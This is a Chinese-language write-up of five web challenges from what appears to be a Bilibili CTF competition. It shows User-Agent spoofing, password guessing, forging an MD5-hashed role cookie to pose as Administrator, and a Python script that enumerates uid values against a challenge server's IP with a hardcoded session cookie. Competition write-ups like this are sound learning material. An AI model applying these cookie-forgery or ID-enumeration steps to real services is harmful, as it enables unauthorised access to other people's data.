第一题

按照常规,第一题是签到题(浏览器就得了别搞这么复杂)直接看源码,这是把flag1和flag2放到一个页面了吗。。。
ABY43DS2N~_710JQWH27.png

第一题就不打码了,直接写源代码里没必要。

第二题

还是刚刚那个页面,看样子要使用bilibili Security Browser访问————个鬼,先直接访问api:
{"code":403,"data":"","msg":""}
嗯?代码403?那看来这个bilibili Security Browser多半指的是浏览器UA(用户标识)了,吾用的是Edge,这样设置:
7CZ~8DB83DENGEMGE6HXB.png
可见flag已经出来了,下一题。

第三题

UJ_2SR719G1Z9G656.png
啊这,不会要爆破密码把,不会吧不会吧,但转念一想,真要是暴力开密码,这小服务器多半挨不住,题目设计者不可能那么蠢,那就只能是弱密码了(才没用过sql注入呢(),冥思苦想,最后也没跑出答案,还是得一高人指点,B站的题嘛,自然是B站的名字了(((((
so
B6G2P8TPK59Q8DC3D5P9.png
下一题

第四题

emmmmm只有超级管理员才能看到,看源码

	  $.ajax({
        url: "api/ctf/4",
        type: "get",
        success:function (data) {
            console.log(data);
            if (data.code == 200){
                // 如果有值:前端跳转
                $('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
            } else {
                // 如果没值
                $('#flag').html("有些秘密只有超级管理员才能看见哦~")
            }
        }
    })

首先,超级管理员肯定不是无源之水,既然是题目,那肯定是用了一种办法来判断,看看本地储存:
C3HT1`4~N~QK4HUY859.png
一通检查后,发现了个奇怪的cookie:role,翻译过来就是“角色”。看看内容:9052e40b07aac0ca 啊这。。。按照ctf比赛的尿性,多半又是哪个算法加密了,只有字母和数字,一通排查后,确认是MD5加密,现在MD5已经可以解密了,解密出来的结果是:user,不难猜,超级管理员就是superadmin了————个鬼啊,实际上是Administrator(别问吾试了多少个T-T)MD5加密一下,得: 7b7bc2512ee1fedcd76bdc68926d4f7b,改上这个cookie,刷新,flag加一。
JHLGLFL~M9~2ZDA45.png

第五题

这里没有你想要的答案~??? 直接看源码

        $(function () {
            (function ($) {
                $.getUrlParam = function(name) {
                    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
                    var r = window.location.search.substr(1).match(reg);
                    if (r != null) return unescape(r[2]); return null;
                }
            })(jQuery);
            var uid = $.getUrlParam('uid');
            if (uid == null) {
                uid = 100336889;
            }
            $.ajax({
                url: "api/ctf/5?uid=" + uid,
                type: "get",
                success:function (data) {
                    console.log(data);
                    if (data.code == 200){
                        // 如果有值:前端跳转
                        $('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
                    } else {
                        // 如果没值
                        $('#flag').html("这里没有你想要的答案~")
                    }
                }
            })
        });

请求的时候加了个uid参数?默认是用100336889这个uid请求的,既然是别人的秘密,那自然不是这个uid了,但也不会平白无故给一个数字出来。所以不难猜,真正能验证通过的uid肯定在这附近,上PY!

import urllib.request 
import urllib.parse 
import http.cookiejar 
def make_cookie(name, value):
    return http.cookiejar.Cookie(version=0,name=name,value=value,port=None,port_specified=False,domain="45.113.201.36",domain_specified=True,domain_initial_dot=False,path="/",path_specified=True,secure=False,expires=None,discard=False,comment=None,comment_url=None,rest=None)
cookiejar = http.cookiejar.CookieJar();
cookiejar.set_cookie(make_cookie("session","eyJ1aWQiOiIzOTg0MzEwIn0.X5Qkmg.lP28fmJmJbJXc4pUJKPOIs4XcSk"));
handler = urllib.request.HTTPCookieProcessor(cookiejar)
opener = urllib.request.build_opener(handler)
uid=100336889;
while uid<=100337889 :
    suid=str(uid);
    res = opener.open('http://45.113.201.36/api/ctf/5?uid='+str(uid))
    print('请求次数:'+suid+'data:'+res.read().decode('utf-8')+"url:"+'http://45.113.201.36/api/ctf/5?uid='+str(uid));
    uid=uid+1;

秘技:1k位爆破。可惜在100位内就出了答案。最后一个能拿的flag结束。

Q.E.D.


在校大学生一名 熟悉java/cpp
正在摸索JavaFX ing......